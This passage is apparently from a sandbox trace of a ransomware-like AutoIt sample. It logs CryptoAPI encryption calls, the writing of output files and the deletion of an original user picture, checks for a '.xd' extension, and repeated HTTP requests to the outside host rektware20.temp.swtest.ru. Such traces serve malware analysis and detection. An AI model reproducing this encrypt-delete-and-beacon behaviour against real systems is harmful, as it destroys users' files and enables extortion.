hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.095] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.095] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.095] WriteFile (in: hFile=0x2ac, lpBuffer=0x17c2b18*, nNumberOfBytesToWrite=0x3d30, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17c2b18*, lpNumberOfBytesWritten=0x130f01c*=0x3d30, lpOverlapped=0x0) returned 1 [0063.096] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.096] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.096] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0063.096] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0063.096] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.096] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0063.096] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.096] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0063.096] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621438, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0063.097] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0063.097] CryptDestroyKey (hKey=0x164c6f0) returned 1 [0063.097] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0063.097] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0063.097] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0063.097] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0063.097] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0063.097] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0063.097] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0063.097] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0063.097] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0063.097] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0063.097] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0063.097] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0063.097] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0063.097] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0063.097] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.097] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0063.097] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.097] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0063.098] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.098] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.098] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.098] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0063.098] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0063.098] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.098] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.098] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0063.098] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0063.098] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0063.098] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.098] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0063.098] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164dfb0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0063.098] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0063.098] CryptReleaseContext (hProv=0x17aac48, dwFlags=0x0) returned 1 [0063.098] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.098] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.098] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0063.099] FreeLibrary (hLibModule=0x74c60000) returned 1 [0063.099] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.099] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.099] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.099] CloseHandle (hObject=0x3bc) returned 1 [0063.100] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.100] CloseHandle (hObject=0x2ac) returned 1 [0063.111] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.111] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0063.111] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\Vjziuan4gvbixp.png", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\Vjziuan4gvbixp.png", lpFilePart=0x0) returned 0x3d [0063.111] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\Vjziuan4gvbixp.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\e2n7ntspzkb\\vjziuan4gvbixp.png")) returned 0x20 [0063.111] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\Vjziuan4gvbixp.png", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c430 [0063.111] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\Vjziuan4gvbixp.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\e2n7ntspzkb\\vjziuan4gvbixp.png")) returned 1 [0063.113] FindNextFileW (in: hFindFile=0x164c430, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0063.114] FindClose (in: hFindFile=0x164c430 | out: hFindFile=0x164c430) returned 1 [0063.114] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0063.114] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0063.114] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0063.114] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0063.114] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\desktop.ini", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164cb30 [0063.114] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0063.115] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0063.115] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0063.115] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0063.115] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0063.115] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0063.115] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620df0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620df0, lpdwBufferLength=0x130ef8c) returned 1 [0063.115] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0063.115] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0063.115] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0063.116] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0063.116] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0063.116] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0063.116] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292b0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292b0*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0063.116] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292d0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292d0*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0063.116] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0063.117] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0063.117] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0063.117] CloseHandle (hObject=0x0) returned 0 [0063.118] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.118] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.118] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.118] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.118] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.118] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.118] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.118] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.118] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.118] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Pictures\\Camera Roll\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.118] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Pictures\\Camera Roll\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.118] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Pictures\\Camera Roll\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.118] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Pictures\\Camera Roll\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.118] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Pictures\\Camera Roll\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.118] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Pictures\\Camera Roll\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.118] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Pictures\\Camera Roll\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.118] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Pictures\\Camera Roll\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.118] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Pictures\\Camera Roll\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.118] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Pictures\\Camera Roll\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.118] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Pictures\\Camera Roll\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.118] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Pictures\\Camera Roll\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.118] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Pictures\\Camera Roll\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.118] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Pictures\\Camera Roll\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.118] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ictures\\Camera Roll\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.118] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ctures\\Camera Roll\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.118] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tures\\Camera Roll\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.118] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ures\\Camera Roll\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.118] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="res\\Camera Roll\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.118] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="es\\Camera Roll\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.118] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Camera Roll\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.118] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Camera Roll\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.119] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Camera Roll\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.119] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="amera Roll\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.119] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mera Roll\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.119] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="era Roll\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.119] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ra Roll\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.119] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="a Roll\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.119] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=" Roll\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0063.119] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Roll\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.119] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="oll\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.119] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ll\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.119] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="l\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.119] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.119] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.119] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="esktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.119] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.119] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.119] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="top.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.119] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="op.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.119] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.119] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0063.119] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.119] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0063.119] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0063.119] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0063.119] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0063.119] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0063.120] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0063.120] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0063.120] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0063.120] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620f10, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620f10, lpdwBufferLength=0x130ee1c) returned 1 [0063.120] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0063.120] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0063.120] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0063.120] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0063.120] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0063.120] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0063.120] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629180, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629180*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0063.121] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629400, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629400*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0063.121] InternetCloseHandle 